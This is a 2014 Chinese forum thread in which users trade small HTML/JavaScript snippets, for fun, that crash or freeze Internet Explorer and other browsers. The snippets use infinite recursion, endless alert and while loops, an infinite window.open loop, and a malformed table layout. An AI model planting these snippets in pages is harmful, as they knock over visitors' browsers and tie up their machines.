日期:2014-05-16  浏览次数:20397 次

破坏力极强,暴力崩溃IE的代码
纯属乱搞
突发奇想,就写了几句代码,破坏力极强,IE承受不住,一下子就崩溃了
经测试,Chrome和FF承受能力要强些,不至于一下子崩溃,还会弹出终止脚本的提示,但如果不终止的话,当然也难逃噩运
HTML code
<html>
<head>
    <title></title>
    <script type="text/javascript" language="javascript">
        function CloseIE(){
            try{
                CloseIE();
            }
            catch(err){
                CloseIE();
            }
        }
    </script>
</head>
<body>
    <input type="button" value="暴力崩溃IE" onclick="CloseIE();" />
</body>
</html>

谁有更暴力的代码,也可以贴上来试试,纯属乱搞一下

------解决方案--------------------
这个算不算?
HTML code

<html>
<head>
    <title></title>
    <script type="text/javascript" language="javascript">
        function CloseIE(){
            for(var i = 0; i < 10000; i++){
                alert("haha");
            }
        }
    </script>
</head>
<body>
    <input type="button" value="暴力崩溃IE" onclick="CloseIE();" />
</body>
</html>

------解决方案--------------------
探讨
引用:
这个算不算?

HTML code

<html>
<head>
<title></title>
<script type="text/javascript" language="javascript">
function CloseIE(){
for(var i = 0; i < 10000; i++){
……

不算,这只是不……

------解决方案--------------------
while(1);
------解决方案--------------------
我来一个然电脑挂的,CPU瞬间飙升到100%

HTML code


<html>
<head>
    <title></title>
    <script type="text/javascript" language="javascript">
        function CloseIE(){
           while(1){
              window.open("http://www.csdn.net/");
           }
        }
    </script>
</head>
<body>
    <input type="button" value="暴力崩溃IE" onclick="CloseIE();" />
</body>
</html>

------解决方案--------------------
你试试:
HTML code
<html><head> 
<style type="text/css"> 
#a { 
    margin:0 10px 10px; 
} 

#b { 
    width:100%; 
} 
</style> 
<title>IE Crasher</title> 
</head> 
<body> 
<table><tr><td> 
<div id="a"> 
<form id="b"> 
<input type="text" name="test"/> 
</div> 
</td><td width="1"></td></tr></table> 
</body></html>